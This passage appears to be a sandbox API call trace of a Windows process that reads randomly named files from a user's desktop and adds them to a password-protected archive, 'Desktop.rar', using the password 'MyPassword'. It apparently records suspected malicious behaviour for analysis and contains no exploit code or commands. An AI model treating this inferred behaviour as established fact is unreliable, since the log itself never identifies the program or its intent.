0xa6624e [0063.240] GetTickCount () returned 0xa6624e [0063.240] GetTickCount () returned 0xa6624e [0063.240] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.240] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.240] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.240] ResetEvent (hEvent=0x190) returned 1 [0063.240] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.241] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] ResetEvent (hEvent=0x190) returned 1 [0063.241] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.242] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.242] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.242] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.242] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x795963 [0063.242] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7959c9 [0063.242] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.242] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.246] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.246] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.247] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xde50, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xde50, lpOverlapped=0x0) returned 1 [0063.247] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.247] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.247] SetFilePointer (in: hFile=0x198, lDistanceToMove=7952739, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x795963 [0063.247] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x795963 [0063.247] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.248] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e340 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.248] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e390 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493a0 | out: hHeap=0x290000) returned 1 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49370 | out: hHeap=0x290000) returned 1 [0063.248] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49340, Size=0x48) returned 0x34e340 [0063.248] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.248] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x66, lpOverlapped=0x0) returned 1 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49340 [0063.248] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x66) returned 0x351750 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.248] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7a3819 [0063.248] CloseHandle (hObject=0x1b0) returned 1 [0063.248] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.248] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.248] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.248] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.248] FindFirstFileW (in: lpFileName="LFfk9JORsG.avi", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.248] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.248] CreateFileW (lpFileName="LFfk9JORsG.avi" (normalized: "c:\\users\\whuoxysd\\desktop\\lffk9jorsg.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.248] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.248] GetTickCount () returned 0xa6625d [0063.248] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.248] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.248] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.248] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.248] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="L4T8mDg3vHms9Y.xls") returned 18 [0063.248] SetWindowTextW (hWnd=0x10216, lpString="LFfk9JORsG.avi") returned 1 [0063.249] GetTickCount () returned 0xa6625d [0063.249] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.249] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.249] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.249] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.249] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x3a6)) [0063.249] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.249] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=66848426144) returned 1 [0063.251] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x10ea9, lpOverlapped=0x0) returned 1 [0063.252] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a0ee9, nNumberOfBytesToRead=0xef157, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a0ee9*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.252] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.252] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.252] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e390 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.252] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e340 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.252] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493d0 | out: hHeap=0x290000) returned 1 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493a0 | out: hHeap=0x290000) returned 1 [0063.252] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e390 [0063.252] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.252] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.253] GetTickCount () returned 0xa6625d [0063.253] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=66848645547) returned 1 [0063.253] GetTickCount () returned 0xa6625d [0063.253] GetTickCount () returned 0xa6625d [0063.253] GetTickCount () returned 0xa6625d [0063.253] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.253] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.253] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.253] ResetEvent (hEvent=0x1a4) returned 1 [0063.253] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.254] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.254] ResetEvent (hEvent=0x1a4) returned 1 [0063.254] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.256] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.257] ResetEvent (hEvent=0x1a4) returned 1 [0063.257] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.258] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.258] GetTickCount () returned 0xa6626d [0063.258] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=66849190387) returned 1 [0063.259] GetTickCount () returned 0xa6626d [0063.259] GetTickCount () returned 0xa6626d [0063.259] GetTickCount () returned 0xa6626d [0063.259] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.259] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.259] GetFocus () returned 0x10232 [0063.259] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.259] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.259] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.259] GetFocus () returned 0x10232 [0063.259] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.259] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.259] ResetEvent (hEvent=0x190) returned 1 [0063.259] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.260] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.260] ResetEvent (hEvent=0x190) returned 1 [0063.260] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.261] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.261] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.261] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.261] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7a3819 [0063.261] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7a387b [0063.261] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.261] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.261] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.261] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.261] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x10f60, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x10f60, lpOverlapped=0x0) returned 1 [0063.262] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.262] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.262] SetFilePointer (in: hFile=0x198, lDistanceToMove=8009753, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7a3819 [0063.262] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7a3819 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.262] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e340 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.262] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e390 [0063.262] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.262] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.262] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.262] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493d0 | out: hHeap=0x290000) returned 1 [0063.262] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493a0 | out: hHeap=0x290000) returned 1 [0063.262] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49370, Size=0x48) returned 0x34e340 [0063.262] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.262] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x62, lpOverlapped=0x0) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49370 [0063.263] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x62) returned 0x3517c0 [0063.263] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.263] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.263] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7b47db [0063.263] CloseHandle (hObject=0x1b0) returned 1 [0063.263] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.263] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.263] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.263] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.263] FindFirstFileW (in: lpFileName="MKzdWyU3NziO.m4a", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.263] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.263] CreateFileW (lpFileName="MKzdWyU3NziO.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\mkzdwyu3nzio.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.263] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.263] GetTickCount () returned 0xa6626d [0063.263] GetLastError () returned 0x0 [0063.263] SetLastError (dwErrCode=0x0) [0063.263] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.263] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.263] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.263] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0063.264] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.264] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.264] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.264] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.264] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="LFfk9JORsG.avi") returned 14 [0063.264] SetWindowTextW (hWnd=0x10216, lpString="MKzdWyU3NziO.m4a") returned 1 [0063.264] GetTickCount () returned 0xa6626d [0063.264] UpdateWindow (hWnd=0x1020e) returned 1 [0063.264] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.264] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.264] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.264] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.264] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x18, wMilliseconds=0x3b6)) [0063.264] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.264] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=70348785924) returned 1 [0063.265] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xab98, lpOverlapped=0x0) returned 1 [0063.265] ReadFile (in: hFile=0x1b0, lpBuffer=0x379abd8, nNumberOfBytesToRead=0xf5468, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379abd8*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.265] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.265] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.265] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e390 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.265] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e340 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.265] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493d0 | out: hHeap=0x290000) returned 1 [0063.265] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e390 [0063.265] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.265] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.267] GetTickCount () returned 0xa6626d [0063.267] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=70349025917) returned 1 [0063.267] GetTickCount () returned 0xa6626d [0063.267] GetLastError () returned 0x0 [0063.267] SetLastError (dwErrCode=0x0) [0063.267] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.267] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:08:56") returned 8 [0063.267] SetWindowTextW (hWnd=0x10220, lpString="00:09:31") returned 1 [0063.267] GetTickCount () returned 0xa6626d [0063.267] GetLastError () returned 0x0 [0063.267] SetLastError (dwErrCode=0x0) [0063.267] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.267] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:48") returned 8 [0063.267] SetWindowTextW (hWnd=0x10224, lpString="00:00:44") returned 1 [0063.268] GetTickCount () returned 0xa6626d [0063.268] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, 